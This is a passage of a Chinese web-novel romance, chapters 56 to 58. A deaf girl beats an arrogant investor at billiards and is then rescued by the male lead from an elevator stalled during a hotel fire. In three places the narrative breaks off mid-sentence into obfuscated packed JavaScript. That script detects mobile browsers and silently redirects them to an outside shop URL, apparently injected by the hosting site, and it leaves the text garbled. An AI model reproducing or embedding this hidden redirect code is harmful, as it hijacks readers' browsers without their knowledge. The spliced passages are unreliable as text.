菲尼轻蔑嗤笑,嘴里嘀咕着本国的俚语,让池映雪开球,打中八。 “如果她赢我,那我真的不用混了。” 菲尼把玩着球杆,“嘿,小姑娘,听得懂吗?你要是赢了,池老头叫我签什么协议都行!” 助理凑过来耳语几句,菲尼震惊地看向已经弯腰挥杆的池映雪。 “聋哑人?!” 那更不行了!要是被传出去他欺负残疾人,他的名声…… 砰。 咚。 清而响的小球碰击声打断他还未出口的话,各色桌球在台面上滑开利落又漂亮的轨迹。 只听又一声闷响,一枚红球就这样轻飘飘地落入了洞中。 开球进不算分,毫无威胁。 就像这个小女孩的外表。 五官像是淡水墨画,有面积不大的留白,却并不寡淡,反而像卢浮宫里的古藏品,略有几分东方人独特的清冷。 从开始到现在,那张白净的巴掌小脸上表情都不算多,看上去很好欺负,还有些呆呆的。 菲尼就要接着开口,池映雪的刘海随手臂微动。 毫不拖泥带水的一杆球,在万众瞩目下翩然入洞。 他以为这是结束,心想,幸好没让对方输太难看。 旁观众人也是这样想的。 结果这只是开始。 算上分球,池映雪连进三个! 到现在为止,菲尼都没有大展身手的余地!! 菲尼的脸慢慢涨红,正好助理递来一通电话缓解尴尬。他暂时走远,周围渐渐响起交头接耳的议论声。 “这、这是真的假的?” “虽然一看就不专业化,但你们发现没有,她的直线球无比精确!” “我看出来了!刚才那个平行勾球她是用数学算出来瞄准点的,妙啊!我就说老爷子和蝉少身边绝不会有等闲之辈!” “我不久前去过她的回归和生日宴,她跳舞也很好……” 这么多人夸池映雪,蒋傅的脸色要多难看有多难看。 亏他还指望这个菲尼杀杀她的威风,结果这人和他也没差嘛! 蒋傅故意带头道:“可是……再这么打下去,菲尼先生作为大资方,不开心了怎么办?” 神色各异的人群中突然走出一道西装革履的身影,和池映雪长得很像,一看就知道是兄妹。 池映雪刚从李闻蝉手里接过巧克粉,还没有擦拭,就愣在原地。 哥哥? 真的是他! 池怀元对池映雪同样摇头,却和李闻蝉那种恣意完全不同。 他的眼神里充满担忧,还有对她的不赞同,举起屏幕里早已编辑好的文字。 「小雪,你明白今天这场宴会的意义吗?」 「放聪明点,不要只顾着自己出风头,快让球让菲尼赢下这桌。」 池映雪怔了怔。 池怀元看了眼带他进来的副市长助理,抬手就要拿走她手里的球杆,准备自己上。 “诶——” 池怀元的手指被玻璃杯挡住。 他抬眼,李闻蝉把玩着果汁杯,似笑非笑。 弯曲手臂扬起,搭在池映雪的头上。 晶莹剔透的橘色果汁在灯下摇晃,零零碎碎的光透过不规则的玻璃杯折射,在他脸侧,在池映雪发顶。 李闻蝉:“这里没你的事。” 池怀元:“可他……” “她随意打,结果怎样,我担着。” 李闻蝉吊儿郎当,掷地有声。 他淡淡扫了一眼其余窃窃私语的宾客,质疑声荡然无存。 李闻蝉对池怀元做了个“请走”的手势。 池怀元忌惮他,不得不离开,转身前暗含警告地凝视池映雪一眼。 池映雪明白了他的意思。 忍让,后退,讨菲尼的欢心。 为了利益,学会低头。 她垂下眼,手指不安地捏着巧粉的边沿。 冰冰凉凉的玻璃贴在脸颊,池映雪如梦初醒。 李闻蝉见她睫毛微颤,缓缓移开杯子。 「怎么?」他的手从她头上挪下,在手机上打字。 「怕了?」 池映雪摇头,单手紧握球杆,右手食指点击着李闻蝉手中的屏幕。 「我哥哥说的话,才是聪明的,对吗?」 笃。嗒。哒。 她越敲,力度就越弱。 「不会我出了这口气,你们的单就签不了了吧?」 李闻蝉笑着凝了她一眼:「你说呢?」 池映雪沉吟片刻,摇了摇头。 「这种大合同不会因为球局的输赢轻易改变,可是我想,这个菲尼的傲慢刻在骨子里,越让他得意就越过分。」 池映雪打完字,觉得自己未免班门弄斧,不好意思地偷看他的表情。 李闻蝉却在后面接话:「然后呢?」 池映雪被他的眼神鼓励到,顿了两秒,坚定地打字。 「与其说他瞧不起我,不如说他想通过这种方式打压我们的公司。如果发现我们性子软,可以欺负,那就正合他意。」 「我认为,我们一定要赢他。」 再说。 她也并不喜欢菲尼眼里的那种轻蔑,好像他天生高人一等似的。 池映雪再次掀起眼。 李闻蝉梨涡显现,刚好对着她。 这时,菲尼终于归来,眼神不善,依旧保留他仅有的高傲。 李闻蝉收起手机,整理了一下池映雪因为俯身打球,耳旁垂落的碎发。 他将她推到光下,口齿清晰,一字一顿。 “那就赢。” 事实证明,菲尼的自信并非盲目。 上回在俱乐部,池映雪一杆清台,除了那晚手感好,或许还有奇怪的新手保护、幸运buff加成。 重新开打后,她率先朝一个刁钻的球打,用力不足,刚好停在洞边。 菲尼上手,很快一球接着一球,与她不相上下。 待二人都只剩一颗对手球,他终于缓了口气,抹了把头上的汗。 周围再次响起议论声:“我就说她不行……” 蒋傅强忍哂笑:“算了,这样输了也好,菲尼先生高兴比什么都重要!” 池怀元松开拳,叹了口气。 菲尼蔑然一笑,弯腰拉杆,砰的一声—— 没有进。 不过,他丝毫不慌,因为留给池映雪的那颗球在中袋附近,很不好打,还是刚才她马失前蹄的第一颗球。 万众瞩目下,池映雪站在原地,像在发呆。 蒋傅:“这是吓傻了么?要我说,高中生还是好好回去念书吧……” 一道锋利的视线冰冷射来,蒋傅背后一抖,左顾右盼,终于和它的来源对视。 李闻蝉! 蒋傅咬牙切齿,却想起父亲最近低调行事的嘱托,不得不重新隐匿在人后。 他怎么就忘了,这里不止一个高中生。 李闻蝉收回眼,没空再分神过去。 他看向静伫的安静少女,面部肌肉略显紧绷,察觉到众人的窥视,挑了挑眉,恢复一贯的洒如。 池老爷子走过来:“帮帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635275|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “呵。” 池映雪计算角度的思路被熟悉清声打断,不由攥紧手指。 其实,她早就算好了。 可是那条路很险,如果这球不进,菲尼的最后一个花球和黑八,都很好中。 ……她不敢。 “你太小瞧她了。” 李闻蝉双手抱在胸前,站在女生的身后。 上次好像也是这样。 只不过她比那时长高了些,也匀称了些。 还不够,李闻蝉想。 都不知道吃什么长大的,这么小一只。 池老爷子:“是你太有信心了吧。” 李闻蝉的声音像橘味盐汽水,淌着笑意,在池映雪耳边打开瓶盖。 “我不该有信心吗?” “我还没见过她,输给过任何一个人。” 砰! 杆头击打白球,直冲花球的侧下方。 白球向左,花球向右,一个几乎完美的“v”字轨迹之后,花球旋转着滚动。 花球进洞! 吸气声,欢呼声,连同站在菲尼那边的嘲讽、挽尊、诅咒。 这些声音,池映雪统统听不见。 她突然回过头,精准地与身后的男生对视。 李闻蝉抱在胸前的手掐住肘关节,收紧成拳。 池映雪莞尔。 她轻轻地握拳,在空中隐秘挥动,一如之前的隔空相击。 接着模仿他,挑了一下眉。 李闻蝉喉结滚动。 [叮!攻略对象好感+2。] [当前男主好感:46。] 最后的黑球,如池映雪所料,进的很轻松。 她赢了! “我就知道,池家这位千金绝非等闲之辈!” “太厉害了!真是江山代有才人出啊!” “哼,算她运气好……” 菲尼深呼吸,挤出一个难看的笑脸,扔球杆的动作却完全显露出他的不平静。 菲尼:还不如被说欺负聋哑女高中生呢。 这下好了,被聋哑女高中生“欺负”! 菲尼苦大仇深,大鼻子红得像马戏团里的小丑,再也没有一开始的傲慢。 甜品区。 李闻蝉赶走那些来搭讪或奉承的家伙,先帮池映雪拿了一块黑森林,又给自己切下一块草莓芝士蛋糕。 两个人肩并肩享用胜利的果实,池映雪咀嚼的速度越来越慢。 李闻蝉放下碟子,骤然俯身,眯起眸盯住她。 池映雪:? 小雪:「怎么了?」 李闻蝉反问:「你怎么了?」 「吃东西都不香。」 李闻蝉的目光流连在她脸上,没放过任何一丝细微的变化。 「想谁呢?」 池映雪被他看得脸热,连忙避开视线。 她犹豫了一下,慢吞吞地打字。 「你……就那么相信我吗。」 池映雪:「要是我想错了呢?」 要是她还是输了呢? 真的就如哥哥所说吧,聪明的人都不会这样。 李闻蝉:「雪神怎么会错?」 池映雪不是第一次在他这里听见这个称呼,只是上次,他还是跟着胡挚他们瞎起哄,这回是真的这样叫她。 池映雪歪了歪脑袋,手摸上脖颈一侧,有些发热。 …… 好怪。 「而且就算错了,错了就错了呗。」 「有我呢。我让你打的球,错了也不能算你的啊。」 李闻蝉:「你知道吗池映雪,我父亲是个彻头彻尾的商人,把身边的每个人都当成商品,物尽其用,包括他自己。」 「我特别讨厌他,可他说过一句话,我从记事起一直记到现在。」 「他说,这个世界上,聪明人赢得利益。」 池映雪昂首,恰好与他视线相撞。 李闻蝉的笑声随着消息发送的提示音低低传来。 「而笨蛋,赢得整个世界。」 56. 第 56 章 你才是笨蛋! 池映雪捏拳,还没有悄悄挥出去,就被终于回来的系统吸引注意力。 系统的实体是一团毛茸茸,此刻身上挂满白色碎屑和花花绿绿的杂草。 池映雪:? 系统得意洋洋:[本统刚才去给宿主撒花了!还特意在那个菲尼的头上撒了一圈战败者的白条,怎么样!] 虽然撒的是电子emoji,只有它和宿主能看见,好歹也是庆贺了嘛。 快夸它!快夸它! 池映雪失笑,摸了摸它不存在的下巴:“谢谢你呀,你真好。” [叮!攻略对象好感+1。] [当前男主好感:47。] 池映雪:? [警告!攻略对象好感-3。] [当前男主好感:44。] 池映雪:??? 她侧头仰视身边人,冷白色的耳垂上,红霞无比明显,嘴却抿成一条冰冷的直线,有几分不爽。 池映雪低下脸,碎发一下一下晃着,轻舔小叉子上的巧克力酱。 又甜又苦,好难懂的味道。 系统还处在战胜傲慢洋老头的喜悦中,完全没有留意她的小动作。 它得意地炫耀:[锵锵!宿主请看!] [刚刚宿主的胜利时刻都被我拍下来啦!还有周围人的反应,嘻嘻,男主大人笑得超级开心哦!] 系统挑挑拣拣,终于发现了自己最想看到的画面,迫不及待地上眼药,[宿主快看呀!刚才你大放光彩,沈星桥的表情可不太好看呢!] 池映雪不解地皱起眉,看向那张糊到有重影的照片。 “有吗?” 系统把字体加粗、倾斜、放大:[有的!我以我的统品——] “好啦好啦。”池映雪无奈笑道,打断它的发誓。 心里却并没多在意。 估计是角度问题或者偶然吧,他们是朋友,又没什么龃龉。 这么想着,她抬眼,恰好在人群中和沈星桥对视。 沈星桥立马露出一个温柔的笑容,一如既往。 每次她对他讲完题,或者有题不会,向他讨教完恍然大悟时,他都会这样笑。 池映雪多留意了一下,越发觉得她想的没错。 “……切。” 耳畔突然落下一道嘁声。 紧随其后还有一面弹窗。 [警告!攻略对象好感-4。] [当前男主好感:40。] 池映雪再次陷入深深的疑惑中。 她突然想到什么,牙齿咬在叉子尖端。 ……不是吧。 这也要“吃醋”吗? 他这人怎么这样呀…池映雪鼓起腮,狠狠戳着盘子里的巧克力碎屑。 系统刚要替男主解释,仔细一看,发现她并没有真正生气的样子。 系统删掉光屏里的字,偷摸测了一下宿主的体温。 37.0摄氏度。 系统:咦…… 比平时高0.2。 不过还好,再高一点点,就算低烧了。 李闻蝉蹙眉,还未张口,池老爷子背着手溜达过来。 他主动加了池映雪的V信,问了她好几个问题。 池映雪一开始很紧张,以为他最起码也会像唐女士那样,问些她的隐秘或态度。 然而池老爷子先问星座,再问生肖,还问她应家小吃店都卖哪些吃的。 池映雪渐渐放下心,应对如流,还讲了些在小吃店里应付客人的心得。 宴会临近散场,池映雪决定最后再去和唐伯霓道个别,被告知她已经去二楼的泰餐餐厅了。 她走后,除了李闻蝉和池老爷子,还有一道视线如影随形。 蒋傅的目光宛如毒蛇,阴沉而扭曲。 一个李闻蝉压着他不够,又来一个池家的真千金! 本来他就对父亲和副市长的决策不满,凭什么他们要和盛池一起接待菲尼? 那个菲尼也是,明明被那样羞辱,不仅没有大发脾气,反而蔫了气势,对池家提出的追加协议让步。 他是M吗?! 就连副市长身边的狗腿子助理都不同意他从中作梗的想法,蒋傅转身离开,摸了一把兜里的火机。 既然他们占不到大头,那就谁都别想分这杯羹!这合作,他必须搅黄! 池映雪送完唐伯霓,去了趟洗手间。 刚才唐伯霓说,李闻蝉之前和她聊过她。 他的原话是:“没有人天生擅长利用劣势。如果一个人这样做了,只能说明她早已习惯并适应,不是吗?” 大酒店年代悠久,是最早一批的五星级酒店,历史感厚重。 盛池旗下设备更先进、设计更前卫的同规格酒店也有,只是今天的商宴由池老爷子做东,老人家特意定在这里,也是纪念酒店开业当年,M国的大使来建交示好,在南城下榻于此。 洗手间与通往宴会厅的楼梯间一样选用木质装潢,云石搭配沉稳的木色,灯光明亮,水温正好。 池映雪用水拍打脸颊,在镜子里看见被水烫红的脸。 擦脸巾散发淡淡的茉莉香,她想起唐伯霓最后的问题。 「如果我最后还是拒绝你的提议,你会怎么做?」 池映雪不好意思地抿了抿唇。 她也不是只有一套方案。 与此同时,虹文宿舍楼。 池鲤鲤要竞选宣传大使,投票通道已经开启,不日就将截止。 趁着周日,邢芷抱着为池鲤鲤拉票的物资礼品,在女生宿舍间逐个分发。 收到精美礼品的女生都乐意帮忙,不少人感激地看向邢芷。 “放心吧,我已经听说啦,会投你的!” 邢芷一愣,随即笑道:“不是投我,是投池鲤鲤同学。” 说话的女生比她反应更大:“啊?” “可是,明明是你发的啊……” “就是就是,而且我们已经投了你了,你千万不要只顾着为别人做嫁衣呀。” 邢芷:“……投了我?” 她根本没报名啊! 还不等她确认,池鲤鲤的电话打进来。 “邢芷,你干什么呀!?” 池鲤鲤:“你拿我的钱买的礼物,结果用来给自己拉票,你以为我是傻子吗!” 娇俏的声音显得有几分尖锐,“你难道不知道我最近本来就——” “我不是……” 池鲤鲤挂断电话,发来一张截图就把邢芷拉黑。 邢芷不可置信地点开图,赫然是投票区里位列第一的女生。 “高二(1)班邢芷”! 旁边就是男生的投票区,第一果不其然是沈星桥。 [哈哈哈哈!难怪池鲤鲤那么生气!] 这边,系统给池映雪实时转播,[我发现了,其实池鲤鲤作为原女主并非真的冰清玉洁,而是因为许多事邢芷这个小跟班都帮她做了,宿主这招反间计妙哇!] 池映雪:“你觉得邢芷真的愿意只做她的跟班吗?” [宿主什么意思?] “没什么。”池映雪收起疑惑,“随口一问罢了。” 系统似懂非懂,转头就想去转播池鲤鲤那边的情况,忽然僵硬起来。 池映雪:“你怎么了?” [宿,宿主……] 系统瑟瑟发抖,整团毛都竖起来,[完了,我新上司来了。] [我刚才给宿主违规转播被它发现了,现在叫我过去喝茶。] 池映雪关心道:“不会有什么事吧?” 她看着这一小团毛,升起一股负罪,“要罚就罚我……” [倒也没那么严重。]系统解释,[就是以后可能都不能有任何小动作了。] [我现在要离开一会,宿主一个人可以吗?] 池映雪今天的自信心比以往人生里加起来还要多,重重点头:“没问题,你放心去吧!” 系统走后,电子屏随之化作光点消逝。 李闻蝉也不在,池映雪的世界又只有一片荒芜般的寂静。 她呼出一口气,对着镜子鼓起笑脸,手蜷成一团,再次尝试说话。 短促,粗哑,笨拙,不成语调。 池映雪揉着脖子出门,走入挑高的电梯间。 箭头闪烁,电梯缓缓到达。 紧邻的楼梯间内传来急促的阵阵脚步,还有口耳相传的哄乱警告。 一门之隔,池映雪并未听见。 宴会厅里,池怀元终于找到机会,匆匆走到池老爷子身后,俯身道歉。 “对不起大爷爷,小雪她年纪小,不懂其中的利害关系,意气用事。” 李闻蝉白了他一眼,晃着玻璃杯没说话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635276|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >池老爷子笑笑:“比起意气用事——” “我更喜欢称之为,意气风发,不是吗?” 池怀元一惊,下意识道:“可我们不是要尽力促成与菲尼先生的合作……” 池老爷子眼眸深了深,安抚了过去。 末了,他还给了颗定心丸:“放心,该是你的,都会是你的。” “所以下次不用找外人,想来就来,就像小雪也是闻蝉带来见世面的。” 池怀元连忙颔首,放下担忧离开。 李闻蝉放下杯子:“你?” 池老爷子半合眼:“不是他的,也终究不是。” “池怀元有能力,没有傲骨;静俭只适合当艺术家,闻蝉你呢,不管什么时候都做的很好,但你刚说的没错。” 池老爷子翻阅着池映雪和他的聊天记录——轻描淡写地讲述她如何应对恶意竞争的对面小吃店,或者怎样将心疼她的顾客转化为乐于帮助她的熟客。 他越看越满意,她小小年纪,怎么懂这么多? 智商高,有韧性,最重要的是,有和基层打交道的经历,且一点也不骄躁。 “这场球,有更合适的人来打。” 李闻蝉扫一眼他的屏幕,淡淡抿了口果汁。 鲜榨果汁可能放久了,越喝越酸涩。 小小年纪,懂那么多。 ……那是该受过多少气。 李闻蝉:“既然如此,别忘记你的承诺。” 池老爷子抬头:“嗯?” 李闻蝉冲他扬起一笑。 “浮影。” “记得过户给她啊。” 池老爷子:“…………哦。” 他还想再最后挣扎下:“她不会开车吧?” “你管人家呢。” 李闻蝉义正词严,“就算不会,不是还有我这个司机吗?” 池老爷子:“你小子什么时候有这么好心?” 李闻蝉喉结一紧。 池老爷子接着怀疑道,“你不会是想私吞吧?” 李闻蝉:“……” 呵。 他故作顽劣,亵慢随意一靠,“何止。” 池老爷子眸色微闪,划过犀利的暗芒:“这么说来,你最近小动作是不少。” “你因为和静俭走得近,不喜虎视眈眈的池润父子我知道,可什么时候关注起池鲤鲤了?她名下的商铺都被你借小陈的手收回了,还有那个巴结池润的邢家,你截了他们下个季度的大业务吧。” 李闻蝉始终保持沉默,唇角向下压,黑眸明灭。 半晌,池老爷子差不多快翻篇,他这才张口:“为了正义。” 池老爷子:“?” 宴会厅的正门忽然喧哗起来,服务生推车而入,李闻蝉皱起眉,揉捏着耳垂。 “起火了!!” 有人呐喊。 ——手指僵住,指尖发冷,柔软的耳垂陷下一道掐痕。 “就在二楼东的休息室!我秘书短信里说已经在冒浓烟了!” “天啊,菲尼先生不就在二楼东餐厅……?!” 人群刹那间沸腾,服务生挨个分发湿毛巾和备用的防毒面罩。 池老爷子深深皱眉,正要抬手控制局面,李闻蝉已经先一步冲了出去。 酒店设施久远,因此消防系统并不先进,尤其中间还有一条很长的连廊。 唯有后来外加的观景电梯是独立电源,就在宴会厅旁边的长廊上。宾客纷纷向这边来,礼服与西装交织奔涌,狼狈周章。 只有一道身影与他们方向相悖。矜贵的西装被蹭出褶皱,眉头紧锁,身处嘈杂喧闹的中心,仿佛忍受巨大的痛苦。 每一步都迈得更大,每一步都被逆行的人流阻挡。 二楼…… 许多面庞擦肩而过,始终见不到心中那一个。 李闻蝉一边伸手挤过攒动的人群,一边按下拨号键。 一串数字被准确无误地拨出,响了两声后就被接通。 正好走到一处空地,李闻蝉奔向楼梯间,喘了口气。 还能联系上就好。 李闻蝉叠好湿毛巾,动作有几分迟缓,思虑茫然。 正准备挂断通话,对面忽然传来一道清晰的女声。 “您好,请问是机主的朋友吗?您的手机和手包正寄存在……” 五指放在门把手上,蓦地收紧。 57. 第 57 章 池映雪在电梯里按下宴会厅所在的楼层,心里闪过疑惑。 现在正是用餐时间,二楼餐厅的电梯里却没有旁人,无论上下行。 她的运气什么时候这么好了? 这个念头刚升出来,电梯猛然停下。 顶灯的白光闪烁一下后熄灭。 显示屏上,时刻停滞在“18:43”,标着箭头的“4”还没有变成“5”,就瞬间黑屏。 池映雪下意识向后退去,手贴在冰凉的电梯壁上,颤抖着伸出手指,迅速戳动紧急救援的按钮。 黑暗。寂静。 甚至不知道按钮是否有用。 池映雪无声吞咽,小心地移动到按键旁,抬手放在传呼器上,以防对面传来声音,她无从得知。 手机和包都在台球比赛前交给了服务生保管。 系统不在。 外面什么情况,她听不见;贸然拍动电梯,说不准会导致突然下坠。 池映雪忽然感觉,刚才因为一时胜利和李闻蝉的话产生的那点自信很可笑。 一阵古怪的烟味在空气中慢慢扩散,池映雪耸了耸鼻尖,有了一个可怕的猜测。 她把手移动到电梯门前,手背轻贴。 ……有点热。 是火灾。 越临近二楼,楼梯间向上跑的人就越多。 宴会厅那里虽然宾客云集,好歹都彼此认识,有点脸面,即使混乱也在池老爷子的组织下向逃生电梯移动。 更何况火没烧上来,没到生死攸关的地步,大多数客人们不疾不徐,还有人谈笑。 二楼却一片混乱。 正值饭点,休息室就在餐厅边上,据说是一个服务生对菲尼先生不满,恶意用火机点燃自行购买的特殊化学药品导致,火势难以控制。 李闻蝉冲出人群,还能看见黑色的浓烟和点点火星。 这还是已经初步控制后的结果。 后厨、服务生、用餐的名流以及许多酒店住客……各种人齐聚在这层楼,逃难的人群混乱不堪。 要不是他下来的及时,经理差点没发现一个隐在其中起哄、引发恐慌的可疑人物。 抓到人后,李闻蝉在他身上发现自称探店博主而拍下的视频,一无所获。 “看好他。” 他一手拿着手机,一手用湿毛巾掩住口鼻,边反复确认边跑远,最终停留在男子唯一没有拍摄到的、餐厅外的电梯间。 电梯早在火警铃响起时就停止运行,屏幕漆黑。 李闻蝉心里一沉。 六点半左右起火,火警铃直到现在还在长鸣,可是…… 她。 灰蒙蒙的烟飘来,呛出一行眼泪。 李闻蝉用手拍打每一个电梯的门,没有一个给予回应。 经理刚让人看好偷拍者,一回头,看见李闻蝉在火势外数十步的电梯间,吓得魂都要飞出来,赶紧跑过去:“少爷!您快走吧,这火一会要是再烧起来——” 少爷要是有什么闪失,他担不起啊! “再等等。” 李闻蝉回身,冲向最后一道电梯门。 只剩这个。 是这个吧。 猛烈的拍打声闷闷传来,经理捂住口鼻,另一只手揽上拍着拍着、无力俯首的李闻蝉,似乎听见一声很轻的祈求。 经理瞪了一眼火源,拧着耳朵。 他肯定是被熏出幻觉了。 少爷这么骄傲的人,对老爷子都不假辞色,会求什么? 又是沉默。 李闻蝉捏紧湿润的毛巾,从中渗出的冷水随手掌的骨骼顺流而下,浸湿了袖口。 他没有一丝犹豫,转身重回楼梯间,奔向三楼。 每一道门都被他拍过,还是没有。 那就四楼。 最后一道门前,李闻蝉刚拍下去,电话声恰好响起。 为了不错过任何情况,他开了最大的铃声,刹那间响彻耳际。 是老爷子的。 “闻蝉,你在哪?” 李闻蝉没等到回应,只顿了一秒,匆促上楼。 池老爷子:“你是去找小雪了?不用找了,你回来吧。” 李闻蝉直接挂断,脚步不停。 池老爷子的短信发过来。 「喂,那也是我亲侄孙女,我会不担心吗?」 「是有人告诉我刚才看到她了,就和唐女士在一起,同行的还有沈家的夫人和你们同校的那个男生。」 「经理说二楼没有,她又不可能在其他楼层,估计是和他们一起走了。」 「快回来,也不嫌危险,不就是辆车吗?我把三台都集齐送你俩好吧?」 李闻蝉将手机揣进兜里,扶住栏杆,抬眼望向五楼的出口。 电梯里。 空气越来越憋闷,好在烟味一直没有变浓。 池映雪发现电梯门的温度也保持不变,始终温热。 不烫,根据她自己在书里看到的逃生指南,证明火灾还没有发生在电梯所在的楼层。 但有些东西比火灾本身要更可怕,比如漆黑,比如一无所知的静。 突然,她似乎听见一声拍打,来自脚下的方位。 第二声响起,池映雪猛地握拳,鼓起勇气敲在门上。 电梯震了震,她重新靠回墙壁,幸好没有向下降。 ……是他。 他来找她了吗? 池映雪鼻尖发酸,眼睛一眨不眨地盯向紧闭的门缝。 可惜那两声以后,随着电话铃声响起,声音很快消失。 池映雪动了动嘴唇,膝盖发软。 池鲤鲤的话不合时宜地响起。 「信不信随你,人家可是老爷子亲手带在身边的人,事务繁忙,你的事不可能比盛池还重要。」 「……他不会来了。」 贴在壁上的背部慢慢滑落。 冥冥中好像有什么变化,被她忽略。 池映雪的手指蜷缩又颤抖,抚向喉部。 “……!” “…………L、i。” 声音还是那么沙哑,那么难听。 但是。 “Li—李——” 清晰的吐字短促地回响在狭窄空间里。 池映雪想,但是,他已经走了吧。 她真的不可能拥有好运。 “砰砰砰!!!” 头顶上方,拍击声再次响起。 “有人吗?!” 熟悉的声音。 清冽,炽热,像冰水和烈火共存,比平时少很多从容散漫。 嘶哑,低沉,又满怀希冀。 “听得见的话请——”李闻蝉的声音乍然熄灭,几近哽咽。 “有人吗?” “……………你在吗?” “池映雪。” 池映雪的眼睛抬起来,在黑暗中盛满晶莹。 喉咙轻颤。 “李w……” 她的手再次拍向电梯门,即使已经失去力气。 掌心碰到金属的那一刻,李闻蝉的声音如奇迹降临:“………池映雪?” 池映雪也很想像他那样唤他的名字,可是她的嗓子好疼,只能用尽最后的力气,又拍了下门。 来自上方的声音霎时语无伦次:“池映雪你等一下,别怕啊,我已经——” “不对,你听不见。不是……” “经理!这里!” “工具给我,我来撬。” “你们把绳子绑好,快!” 池映雪的鼻酸止住。 这人真是…… 她仰着脸看上面,没来由地笑,眼睛弯起,几滴泪珠随之落下。 咯吱———— 光亮从不断扩大的缝隙中涌入,池映雪却不想抬手遮眼。 通明廊灯,几人中心,高挑清健的少年将手里撬门的机器扔开。 烟与尘在逆光下,连同他的身形十分清晰。 李闻蝉接过绳索,小心翼翼地半跪俯身,向她伸出绳的另一端。 目光相撞。 他好狼狈。 眼睛那么红。 电梯停在四楼与五楼间,池映雪绑紧绳,一点一点顺着绳子攀爬上去。 他们也在上面拉她,只是幅度很小,害怕让她剐蹭。 最后一段距离, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635277|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池映雪大口喘着气,一只手闯入视野。 冷白色,湿润,骨骼感的关节。微微颤抖。 两手相握。 一股强大的拉力将她带上五楼,膝盖刚与地面相触,还没有稳住身,那只手就将她整个腰连着绳子揽上来。 紧接着,温热的气息扑面而来。 她陷入一个有力的怀抱。 呼吸。 心跳。 李闻蝉抱得太紧,池映雪只能从他的肩里探出小半张脸,空气充裕,淡淡的烟味弥漫。 她的大脑还停留在看见他的那一刻,没有多想,遵循本能地伸出手。 指尖刚碰到他的腰,李闻蝉猛地颤栗。 他抬眼,在她背后的电梯反光里看见此刻的自己。 头发凌乱。 形容狼狈。 衣冠不整。 李闻蝉麻木地抬手,擦脸,在手背上看见一抹灰黑。 他用力将池映雪推开。 池映雪:? 她盯向还没真正贴上他的手心,抬起脸,疑惑不解。 不知想到什么,眼眶里的红血丝加深,泪花又泛出来。 李闻蝉的喉结上下滚动。 他旋身,对自觉背对他们的经理和帮手道:“没事了,再辛苦你们帮我拿个新的湿毛巾。” “……嗯,我太脏了。” “算了,拿两个。”最后一句他是自言自语,“把人家也弄脏了。” 池映雪坐在地上,耷拉的脑袋一下子扬起来。 她向前挪动,在李闻蝉的耳根看见羞红,还有那只不停擦着脸的手。 池映雪眼角弯弯,扯了扯他皱巴巴的西装衣角。 李闻蝉:? 刚回头,他就被扑了个满怀。 “你——” 下巴刚好抵在那颗圆圆的脑袋上,李闻蝉哑然。 刚刚还能闻见烟尘的味道,他的怀里却只剩下熟悉的香。 池映雪深吸了两下,觉得她好像个变态。 可是,真的想抱一下,像这样,紧紧的。 她还以为他会真的走掉。 好感接二连三的降,她以为……他不要她这个朋友了。 头顶的笑声轻盈,从骨骼中酥麻流入池映雪耳廓。 阔大的手掌覆上她的后脑勺,很热,很珍重,还拍了拍。 “是不是吓傻了。” 池映雪:她才没有! 她从他怀里离开,哼了哼气。 李闻蝉刚打算逗她,经理毕恭毕敬的声音传来:“董事长!还有……” “沈夫人,沈少爷。” 李闻蝉脸色一黑。 经理:“董事长,小少爷和映雪小姐已经安全了。” 池老爷子看向坐在地上回头的二人,成功收获来自养子的一记眼刀。 池老爷子:? 看到他俩都没事,他松了口气,拍拍经理的肩,聊起二楼的火灾。 沈星桥和沈夫人对视一眼,抬脚上前。 “你们没事吧?李同学还有,映雪。” 沈星桥目光温柔,话对着李闻蝉说,却一直凝望池映雪。 清润的白色身影越来越近,池映雪暗叫不好。 李闻蝉不会又…… 正这样担心,李闻蝉原本撑在她身侧的手就后撤回去。 池映雪赶紧侧首,还不等她抓住他的手腕,李闻蝉就站起身。 他眉眼深邃,垂首注视空荡的手掌。 细长的手指虚握住空气,很快松开。 长身恰好遮住后面的顶灯,苍白冰冷的光将他映出一层虚影,从始至终都没什么表情。 就像之前的每一次那样。 池映雪的手尴尬地捏成拳。 她低下头,假装很忙,突然被他弯腰横抱起来。 池映雪:!!! 顶灯照耀,明亮如眸。 李闻蝉掌心充实,把她的头往他肩前一按,姿态桀骜。 他挑起唇角,直视沈星桥,散漫与认真同时出现在那张逼人的浓颜上。 “我们没事。” “多谢这位同、级、生的关心。” 58. 第 58 章 沈星桥薄唇微动,眼看就要再次开口说话,李闻蝉的下颌不易察觉地收紧。 扣住小脑袋的手背青筋明显,他摇摇头,压低声音。 “嘘。” “她睡着了。” 池映雪:? 她怎么不知道? “我先带她回池家专用的房间休息一会,二位——” 李闻蝉大步走向楼梯间,“有池老头好好招待噢。” 